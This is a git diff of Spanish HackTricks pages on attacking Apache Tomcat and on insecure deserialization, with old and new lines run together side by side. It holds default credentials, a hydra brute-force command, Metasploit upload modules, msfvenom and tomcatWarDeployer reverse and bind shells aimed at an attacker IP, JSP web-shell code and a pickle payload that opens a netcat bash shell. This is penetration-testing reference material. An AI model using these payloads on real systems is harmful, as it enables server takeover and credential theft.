- **Keylogging (Registro de Teclas):** Instalar un software espía en el sistema de la víctima para registrar las pulsaciones de teclas y capturar las credenciales introducidas.
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
@ -246,14 +245,17 @@ msf> use post/windows/gather/enum_tomcat
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,16 +1,19 @@
# Tomcat # Tomcat
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -20,24 +23,26 @@
*** ***
## Descubrimiento ## Discovery
* Normalmente se ejecuta en el **puerto 8080** * Normalmente se ejecuta en **el puerto 8080**
* **Error común de Tomcat:** * **Error común de Tomcat:**
<figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
## Enumeración ## Enumeration
### **Identificación de la Versión** ### **Identificación de versión**
Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple: Para encontrar la versión de Apache Tomcat, se puede ejecutar un comando simple:
```bash ```bash
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
``` ```
### **Ubicación de los Archivos del Manager** Esto buscará el término "Tomcat" en la página de índice de documentación, revelando la versión en la etiqueta de título de la respuesta HTML.
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial, ya que sus nombres podrían ser modificados. Se recomienda realizar una búsqueda de fuerza bruta para localizar estas páginas. ### **Ubicación de Archivos del Administrador**
Identificar las ubicaciones exactas de los directorios **`/manager`** y **`/host-manager`** es crucial ya que sus nombres podrían ser alterados. Se recomienda una búsqueda de fuerza bruta para localizar estas páginas.
### **Enumeración de Nombres de Usuario** ### **Enumeración de Nombres de Usuario**
@ -47,7 +52,7 @@ msf> use auxiliary/scanner/http/tomcat_enum
``` ```
### **Credenciales Predeterminadas** ### **Credenciales Predeterminadas**
El directorio **`/manager/html`** es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación básica HTTP, con credenciales comunes siendo: El **`/manager/html`** directorio es particularmente sensible ya que permite la carga y despliegue de archivos WAR, lo que puede llevar a la ejecución de código. Este directorio está protegido por autenticación HTTP básica, siendo las credenciales comunes:
* admin:admin * admin:admin
* tomcat:tomcat * tomcat:tomcat
@ -56,33 +61,35 @@ El directorio **`/manager/html`** es particularmente sensible ya que permite la
* tomcat:s3cr3t * tomcat:s3cr3t
* admin:tomcat * admin:tomcat
Estas credenciales pueden ser probadas usando: Estas credenciales se pueden probar usando:
```bash ```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login msf> use auxiliary/scanner/http/tomcat_mgr_login
``` ```
Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, lo que facilita la identificación de vulnerabilidades. Otro directorio notable es **`/manager/status`**, que muestra la versión de Tomcat y del sistema operativo, ayudando en la identificación de vulnerabilidades.
### **Ataque de Fuerza Bruta** ### **Ataque de Fuerza Bruta**
Para intentar un ataque de fuerza bruta en el directorio del gestor, se puede usar: Para intentar un ataque de fuerza bruta en el directorio del administrador, se puede usar:
```bash ```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
``` ```
## Vulnerabilidades Comunes Along with setting various parameters in Metasploit to target a specific host.
### **Divulgación de Rastreo de Contraseñas** ## Common Vulnerabilities
Acceder a `/auth.jsp` puede revelar la contraseña en un rastreo bajo circunstancias afortunadas. ### **Divulgación de Contraseña en Backtrace**
### **Codificación de URL Doble** Acceder a `/auth.jsp` puede revelar la contraseña en un backtrace bajo circunstancias afortunadas.
La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación de URL doble para la travesía de directorios, lo que habilita el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada. ### **Codificación Doble de URL**
Para acceder a la interfaz web de gestión de Tomcat, ve a: `pathTomcat/%252E%252E/manager/html` La vulnerabilidad CVE-2007-1860 en `mod_jk` permite la codificación doble de URL para la traversía de rutas, lo que permite el acceso no autorizado a la interfaz de gestión a través de una URL especialmente diseñada.
Para acceder a la web de gestión de Tomcat, ve a: `pathTomcat/%252E%252E/manager/html`
### /examples ### /examples
Las versiones de Apache Tomcat de la 4.x a la 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser verificados en busca de acceso no autorizado y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/) Las versiones de Apache Tomcat de 4.x a 7.x incluyen scripts de ejemplo que son susceptibles a la divulgación de información y ataques de scripting entre sitios (XSS). Estos scripts, listados de manera exhaustiva, deben ser revisados para detectar accesos no autorizados y posibles explotaciones. Encuentra [más información aquí](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
* /examples/jsp/num/numguess.jsp * /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp * /examples/jsp/dates/date.jsp
@ -107,21 +114,21 @@ Las versiones de Apache Tomcat de la 4.x a la 7.x incluyen scripts de ejemplo qu
* /examples/servlet/SessionExample * /examples/servlet/SessionExample
* /tomcat-docs/appdev/sample/web/hello.jsp * /tomcat-docs/appdev/sample/web/hello.jsp
### **Explotación de Travesía de Directorios** ### **Explotación de Traversía de Ruta**
En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: `/..;/` En algunas [**configuraciones vulnerables de Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) puedes obtener acceso a directorios protegidos en Tomcat usando la ruta: `/..;/`
Por ejemplo, podrías **acceder a la página del administrador de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html` Así que, por ejemplo, podrías **acceder a la página del gestor de Tomcat** accediendo a: `www.vulnerable.com/lalala/..;/manager/html`
**Otra forma** de evadir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html` **Otra forma** de eludir rutas protegidas usando este truco es acceder a `http://www.vulnerable.com/;param=value/manager/html`
## RCE ## RCE
Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes **cargar e implementar un archivo .war (ejecutar código)**. Finalmente, si tienes acceso al Gestor de Aplicaciones Web de Tomcat, puedes **subir y desplegar un archivo .war (ejecutar código)**.
### Limitaciones ### Limitaciones
Solo podrás implementar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Estos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](./#post)). Solo podrás desplegar un WAR si tienes **suficientes privilegios** (roles: **admin**, **manager** y **manager-script**). Esos detalles se pueden encontrar en _tomcat-users.xml_ generalmente definido en `/usr/share/tomcat9/etc/tomcat-users.xml` (varía entre versiones) (ver sección [POST](./#post)).
```bash ```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
@ -132,8 +139,6 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
``` ```
### Metasploit ### Metasploit
Metasploit es una herramienta de código abierto ampliamente utilizada para el desarrollo y ejecución de exploits contra una máquina remota. Ofrece una amplia gama de módulos que pueden ser utilizados para realizar pruebas de penetración en sistemas y aplicaciones web.
```bash ```bash
use exploit/multi/http/tomcat_mgr_upload use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP> msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
@ -142,27 +147,27 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password> msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit msf exploit(multi/http/tomcat_mgr_upload) > exploit
``` ```
### Shell inverso MSFVenom ### MSFVenom Reverse Shell
1. Crear el archivo war para desplegar: 1. Crea el war para desplegar:
```bash ```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LHOST_IP> -f war -o revshell.war
``` ```
### Sube el archivo `revshell.war` y accede a él (`/revshell/`): 2. Sube el archivo `revshell.war` y accede a él (`/revshell/`):
### Conexión de shell inversa y de enlace con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) ### Shell bind y reverse con [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun) En algunos escenarios esto no funciona (por ejemplo, versiones antiguas de sun)
#### Descargar #### Descargar
```bash ```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git git clone https://github.com/mgeeky/tomcatWarDeployer.git
``` ```
#### Shell inverso #### Shell inversa
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
``` ```
#### Shell de conexión #### Shell de enlace
```bash ```bash
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/ ./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
``` ```
@ -172,7 +177,7 @@ clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --d
``` ```
### Método manual - Web shell ### Método manual - Web shell
Cree **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp): Crea **index.jsp** con este [contenido](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
```java ```java
<FORM METHOD=GET ACTION='index.jsp'> <FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text> <INPUT name='cmd' type=text>
@ -203,9 +208,11 @@ jar -cvf ../webshell.war *
webshell.war is created webshell.war is created
# Upload it # Upload it
``` ```
También podrías instalar esto (permite la carga, descarga y ejecución de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
### Método Manual 2 ### Método Manual 2
Obtén un web shell JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y crea un archivo WAR: Obtén un shell web JSP como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) y crea un archivo WAR:
```bash ```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp zip -r backup.war cmd.jsp
@ -218,7 +225,7 @@ El nombre del archivo de credenciales de Tomcat es _tomcat-users.xml_
```bash ```bash
find / -name tomcat-users.xml 2>/dev/null find / -name tomcat-users.xml 2>/dev/null
``` ```
### Otras formas de obtener credenciales de Tomcat: Otras formas de recopilar credenciales de Tomcat:
```bash ```bash
msf> use post/multi/gather/tomcat_gather msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat msf> use post/windows/gather/enum_tomcat
@ -232,20 +239,23 @@ msf> use post/windows/gather/enum_tomcat
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
**Grupo de Seguridad Try Hard** **Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,36 +1,37 @@
# Deserialización # Deserialización
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details> </details>
{% endhint %}
## Información Básica ## Información Básica
**La serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado. **La serialización** se entiende como el método de convertir un objeto en un formato que puede ser preservado, con la intención de almacenar el objeto o transmitirlo como parte de un proceso de comunicación. Esta técnica se emplea comúnmente para asegurar que el objeto pueda ser recreado en un momento posterior, manteniendo su estructura y estado.
**La deserialización**, por otro lado, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto. **La deserialización**, por el contrario, es el proceso que contrarresta la serialización. Implica tomar datos que han sido estructurados en un formato específico y reconstruirlos de nuevo en un objeto.
La deserialización puede ser peligrosa porque potencialmente **permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto. La deserialización puede ser peligrosa porque **potencialmente permite a los atacantes manipular los datos serializados para ejecutar código dañino** o causar un comportamiento inesperado en la aplicación durante el proceso de reconstrucción del objeto.
## PHP ## PHP
En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización: En PHP, se utilizan métodos mágicos específicos durante los procesos de serialización y deserialización:
* `__sleep`: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Comúnmente se utiliza para confirmar datos pendientes o realizar tareas de limpieza similares. * `__sleep`: Invocado cuando un objeto está siendo serializado. Este método debe devolver un array con los nombres de todas las propiedades del objeto que deben ser serializadas. Se utiliza comúnmente para comprometer datos pendientes o realizar tareas de limpieza similares.
* `__wakeup`: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a la base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinitialización. * `__wakeup`: Llamado cuando un objeto está siendo deserializado. Se utiliza para restablecer cualquier conexión a la base de datos que pueda haberse perdido durante la serialización y realizar otras tareas de reinicialización.
* `__unserialize`: Este método es llamado en lugar de `__wakeup` (si existe) cuando un objeto está siendo deserializado. Proporciona más control sobre el proceso de deserialización en comparación con `__wakeup`. * `__unserialize`: Este método se llama en lugar de `__wakeup` (si existe) cuando un objeto está siendo deserializado. Ofrece más control sobre el proceso de deserialización en comparación con `__wakeup`.
* `__destruct`: Este método es llamado cuando un objeto está a punto de ser destruido o cuando el script termina. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos. * `__destruct`: Este método se llama cuando un objeto está a punto de ser destruido o cuando el script termina. Se utiliza típicamente para tareas de limpieza, como cerrar manejadores de archivos o conexiones a bases de datos.
* `__toString`: Este método permite que un objeto sea tratado como una cadena. Puede ser utilizado para leer un archivo u otras tareas basadas en las llamadas de funciones dentro de él, proporcionando efectivamente una representación textual del objeto. * `__toString`: Este método permite que un objeto sea tratado como una cadena. Puede ser utilizado para leer un archivo u otras tareas basadas en las llamadas a funciones dentro de él, proporcionando efectivamente una representación textual del objeto.
```php ```php
<?php <?php
class test { class test {
@ -86,7 +87,7 @@ This is a test<br />
*/ */
?> ?>
``` ```
Si observas los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no sucede**. Si miras los resultados, puedes ver que las funciones **`__wakeup`** y **`__destruct`** se llaman cuando el objeto es deserializado. Ten en cuenta que en varios tutoriales encontrarás que la función **`__toString`** se llama al intentar imprimir algún atributo, pero aparentemente eso **ya no está sucediendo**.
{% hint style="warning" %} {% hint style="warning" %}
El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar. El método **`__unserialize(array $data)`** se llama **en lugar de `__wakeup()`** si está implementado en la clase. Te permite deserializar el objeto proporcionando los datos serializados como un array. Puedes usar este método para deserializar propiedades y realizar cualquier tarea necesaria al deserializar.
@ -106,7 +107,7 @@ Puedes leer un **ejemplo de PHP explicado aquí**: [https://www.notsosecure.com/
### PHP Deserial + Autoload Classes ### PHP Deserial + Autoload Classes
Podrías abusar de la funcionalidad de carga automática de PHP para cargar archivos PHP arbitrarios y más: Podrías abusar de la funcionalidad de autoload de PHP para cargar archivos php arbitrarios y más:
{% content-ref url="php-deserialization-+-autoload-classes.md" %} {% content-ref url="php-deserialization-+-autoload-classes.md" %}
[php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md) [php-deserialization-+-autoload-classes.md](php-deserialization-+-autoload-classes.md)
@ -114,7 +115,7 @@ Podrías abusar de la funcionalidad de carga automática de PHP para cargar arch
### Serializando Valores Referenciados ### Serializando Valores Referenciados
Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado** puedes: Si por alguna razón deseas serializar un valor como una **referencia a otro valor serializado**, puedes:
```php ```php
<?php <?php
class AClass { class AClass {
@ -130,13 +131,13 @@ $ser=serialize($o);
### PHPGGC (ysoserial para PHP) ### PHPGGC (ysoserial para PHP)
[**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.\ [**PHPGGC**](https://github.com/ambionics/phpggc) puede ayudarte a generar payloads para abusar de las deserializaciones de PHP.\
Ten en cuenta que en varios casos **no podrás encontrar una forma de abusar de una deserialización en el código fuente** de la aplicación, pero podrías ser capaz de **abusar del código de extensiones externas de PHP.**\ Ten en cuenta que en varios casos **no podrás encontrar una manera de abusar de una deserialización en el código fuente** de la aplicación, pero podrías **abusar del código de extensiones PHP externas.**\
Por lo tanto, si puedes, verifica el `phpinfo()` del servidor y **busca en internet** (incluso en los **gadgets** de **PHPGGC**) algún posible gadget que puedas abusar. Así que, si puedes, revisa el `phpinfo()` del servidor y **busca en internet** (e incluso en los **gadgets** de **PHPGGC**) algunos posibles gadgets que podrías abusar.
### Deserialización de metadatos phar:// ### deserialización de metadatos phar://
Si has encontrado una LFI que solo lee el archivo y no ejecuta el código PHP dentro de él, por ejemplo utilizando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_. Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** utilizando el protocolo **phar**.\ Si has encontrado un LFI que solo está leyendo el archivo y no ejecutando el código php dentro de él, por ejemplo, usando funciones como _**file\_get\_contents(), fopen(), file() o file\_exists(), md5\_file(), filemtime() o filesize()**_**.** Puedes intentar abusar de una **deserialización** que ocurre al **leer** un **archivo** usando el protocolo **phar**.\
Para obtener más información, lee el siguiente post: Para más información, lee el siguiente post:
{% content-ref url="../file-inclusion/phar-deserialization.md" %} {% content-ref url="../file-inclusion/phar-deserialization.md" %}
[phar-deserialization.md](../file-inclusion/phar-deserialization.md) [phar-deserialization.md](../file-inclusion/phar-deserialization.md)
@ -146,7 +147,7 @@ Para obtener más información, lee el siguiente post:
### **Pickle** ### **Pickle**
Cuando el objeto se deserializa, se ejecutará la función _\_\_reduce\_\__.\ Cuando el objeto se deserializa, se ejecutará la función _\_\_reduce\_\___.\
Cuando se explota, el servidor podría devolver un error. Cuando se explota, el servidor podría devolver un error.
```python ```python
import pickle, os, base64 import pickle, os, base64
@ -155,7 +156,7 @@ def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P()))) print(base64.b64encode(pickle.dumps(P())))
``` ```
Para obtener más información sobre cómo escapar de las **cárceles de pickle**, consulta: Para más información sobre cómo escapar de **pickle jails** consulta:
